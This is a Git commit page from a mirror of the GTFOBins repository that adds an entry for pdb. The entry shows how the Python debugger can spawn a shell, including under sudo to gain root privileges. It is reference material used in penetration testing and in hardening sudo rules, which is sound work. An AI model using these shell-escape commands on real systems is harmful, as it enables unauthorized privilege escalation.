1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Create pdb.md

This commit is contained in:
bcoles 2020-03-15 16:39:31 +11:00 committed by Andrea Cardaci
parent 3e6ac9bcf3
commit 41124f24c2

15
_gtfobins/pdb.md Normal file

@ -0,0 +1,15 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'import os; os.system("/bin/sh")' > $TF/x
pdb $TF/x
cont
sudo:
- code: |
TF=$(mktemp -d)
echo 'import os; os.system("/bin/sh")' > $TF/x
sudo pdb $TF/x
cont
---